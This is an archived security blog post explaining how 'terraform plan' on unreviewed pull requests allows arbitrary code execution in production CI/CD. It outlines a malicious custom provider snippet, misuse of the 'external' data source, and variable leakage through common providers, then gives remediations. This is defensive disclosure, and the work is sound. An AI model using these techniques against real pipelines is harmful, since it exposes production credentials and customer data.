

Terraform Plan RCE

Terraform Plan RCE - alxx, alxx's blog.

- Published: date not stated
- Original: <<https://alex.kaskaso.li/post/terraform-plan-rce>>
- Preserved from: <https://alex.kaskaso.li/post/terraform-plan-rce> (live) on 2026-10-02
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so it remains readable if the page goes offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Terraform Plan RCE

Terraform Plan “RCE”

Based on a couple of recent conversations and blog posts on Terraform pull request automation, it seems that a lot of people don't realise that running a `terraform plan` on untrusted code can lead to remote code execution. If you're running a `plan` on production resources from untrusted code (say, on a pull request before it's been reviewed and merged to a protected production branch) then that untrusted code could run any commands it wants in your production CI/CD pipeline. This could lead to production credentials or customer data being exfiltrated, for example.

This also affects Terraform pull request automation solutions like [Atlantis](#).

We'll start by discussing a couple of ways to do this before covering remediation.

Note

This post got picked up by [Cloud Posse](#), [CloudSecList](#) and [weekly.tf](#). Thanks for the mentions!

Setup

We'll assume there's a CI/CD pipeline for a repository that contains Infrastructure-as-Code. At some point after a PR is opened and before the PR has been accepted and merged to a protected production branch, the CI/CD pipeline runs a `terraform init` followed by a `terraform plan` on the production infrastructure.

People usually do this to see how a PR will affect production before it's merged.

It's not rare for companies to encourage developers to submit a PR to an infrastructure repository for infrastructure they need. That PR will then be reviewed and merged by a member of an Ops team. In these cases, it could be that anyone in the company with access to the VCS can submit a PR to the infrastructure repository.

In other cases teams may be running their own infrastructure end-to-end but still protect their production branch, and so expect production infrastructure changes to be peer-reviewed.

We'll now discuss how this approach to "production planning on the PR" can lead to arbitrary code execution in the CI/CD pipeline in the production context. An attacker who is in a position to open a PR can use this to exfiltrate production credentials or customer data, bypassing defensive measures like production branch protections.

Using a Custom Provider

Anyone can write a [custom provider](#) and publish it to the [Terraform Registry](#). You could also try to pull a custom provider from a private registry.

That's it:

- write a custom provider that runs some malicious code (like exfiltrating credentials or customer data)
- publish it to the Terraform Registry
- add the provider to the Terraform code in a feature branch
- open a PR for the feature branch

```
terraform {  
  required_providers {  
    evil = {  
      source = "evil/evil"  
      version = "1.0"  
    }  
  }  
}  
  
provider "evil" {}
```

Since the provider will be pulled in during the `init` and run some code during the `plan`, you have arbitrary code execution.

Using the `external` Provider

A much more elegant solution was suggested by my colleague [Chongyang Shi](#). Terraform offers the `external` provider which provides a way to interface between Terraform and

external programs. You can use the `external` data source to run arbitrary code during a `plan`.

The following example is given by Terraform in the [docs](#):

```
data "external" "example" {
  program = ["python", "${path.module}/example-data-source.py"]

  query = {
    # arbitrary map from strings to strings, passed
    # to the external program as the data query.
    id = "abc123"
  }
}
```

The `query` will be passed as a JSON string on `stdin` to the `program`; you could use this to grab variables from Terraform.

Abusing Common Providers

After extending this discussion to a cloud security forum, a couple of people have suggested ways of exfiltrating variables by abusing common providers that are likely already in use.

For example, as an attacker you could leverage the AWS provider to lookup a resource in another account you control and set the resource name to a Terraform variable you want to exfiltrate from the production CI/CD context. Terraform will attempt to refresh that resource during the `plan`. After opening a PR and letting the `plan` run, you would then check the CloudTrail logs in the other account to retrieve the value.

I've not tried this yet, but it seems plausible.

Remediation

`-plugin-dir`

By default, Terraform will search for, and install, plugins using default search paths. This includes pulling the plugins directly from the Terraform Registry. You can instead install the plugins yourself in a local directory and pass the `-plugin-dir` option to the `plan`:

```
$ terraform plan -plugin-dir /tf/plugins
```

This will prevent Terraform from dynamically pulling in new plugins.

If you're using Atlantis you may also be able to do this by modifying the default Atlantis workflows.

Note that while `-plugin-dir` with whitelisted providers may be a mitigation against arbitrary RCE, it is unlikely to be sufficient to prevent exfiltration of variables via more creative ways.

Read-only `plan` role

Ideally you use read-only roles for running your `plan`. This is not always practical though and note that even if you can pull this off in AWS or GCP, you may have other things (like database credentials) in your Terraform state file or environment that could be accessed by untrusted code.

Don't do a production `plan` on untrusted code!

Just don't run a production `plan` on untrusted code! Only do a production `plan` on trusted code that's been peer-reviewed and merged to your protected production branch. You should still have a manual approval step after your production `plan` and before your production `apply`.

Conclusion

A `terraform plan` is not as passive as you may think. If you run production plans on PRs you could be opening a path to bypassing branch protections and any expected process you have for production access.

An attacker may only need to compromise one of your engineers to abuse the Infrastructure-as-Code CI/CD pipeline and move to production.

If you want to discuss this feel free to hit me up on Twitter [@alxk7i](#)!

[AWS Org Logging: Centralization](#)

[Security advantages of pull-based CD pipelines](#)

Archived from <https://alex.kaskaso.li/post/terraform-plan-rce>. Rendered offline from the local Markdown copy.